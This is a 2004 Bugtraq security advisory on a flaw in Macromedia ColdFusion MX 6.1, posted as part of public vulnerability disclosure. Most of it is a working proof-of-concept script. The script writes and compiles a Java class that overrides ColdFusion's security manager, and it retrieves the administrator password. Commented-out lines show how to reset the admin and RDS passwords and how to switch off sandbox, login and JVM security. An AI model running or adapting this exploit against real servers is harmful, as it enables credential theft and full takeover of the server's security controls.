bugtraq - CFMX vulnerability

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Date: Thu, 30 Sep 2004 17:11:40 -0500
From: Eric Lackey <eric.lackey@...il.com>
To: bugtraq@...urityfocus.com
Subject: CFMX vulnerability


Software: Macromedia ColdFusion MX 6.1

Description:
There is a vulnerability in the ColdFusion MX 6.1 product. To exploit
this, a user needs access to create a cold fusion template on a
ColdFusion server with CreateObject or cfobject tags enabled.  The
code given below writes a java class to the ColdFusion lib directory
which allows writing by default.  This code compiles the java file,
but there are other ways to write the class file if the compiler class
is not available.  Once the class is written, it can be accessed by CF
and all methods exposed.  A user can do a variety of things like
getting the administrator password.  Code and examples are given
below.

Platform Tested: Windows/Linux

Version Tested: ColdFusion MX 6.1

<cfscript>

objFileWriter = CreateObject("java","java.io.FileWriter");

objByteArray = CreateObject("java","java.io.ByteArrayOutputStream");

objJavaC = CreateObject("java","sun.tools.javac.Main");

objString = CreateObject("java","java.lang.String");

objFile = CreateObject("java","java.io.File");

if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; }

strJavaSource = "#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java"; 

strCfusionJar = "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar";

strNeoSecFile = "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml";

strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s#password.properties";

fileWriter = objFileWriter.init("#strJavaSource#",false);

fileWriter.write("import coldfusion.security.SecurityManager;");

fileWriter.write("import java.io.File;");

fileWriter.write("public class SecurityExploit extends SecurityManager {");

fileWriter.write("public SecurityExploit(File arg0, File arg1) {");

fileWriter.write("super(arg0, arg1); }");

fileWriter.write("public boolean isAdminSecurityEnabled(){");

fileWriter.write("return false;}}");

fileWriter.flush();

fileWriter.close();

str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#");

strArr = str.split(",");

byteArray = objByteArray.init();

compileObj =objJavaC.init(byteArray,str);

compileObj.compile(strArr);

obj = CreateObject("java","SecurityExploit");

file1 = objFile.init("#strNeoSecFile#");

file2 = objFile.init("#strPasswdFile#");

obj.init(file1,file2);

obj.load();

</cfscript>

<cfscript>

// Get Administrator Password 

strAdminPw = obj.getAdminPassword();

// Set Administrator Password

//obj.setAdminPassword("test123");


// Turn off Sandbox Security

//obj.setSandboxSecurityEnabled(false);


// Turn off Administrator Login

//obj.setAdminSecurityEnabled(false);


// Turn off RDS Login

//obj.setRdsSecurityEnabled(false);


// Set RDS Password

//obj.setRdsPassword("test123");


// Turn off JVM Security

//obj.setJvmSecurityEnabled(false);

</cfscript>

<cfoutput>Adminstrator Password: #strAdminPw#</cfoutput>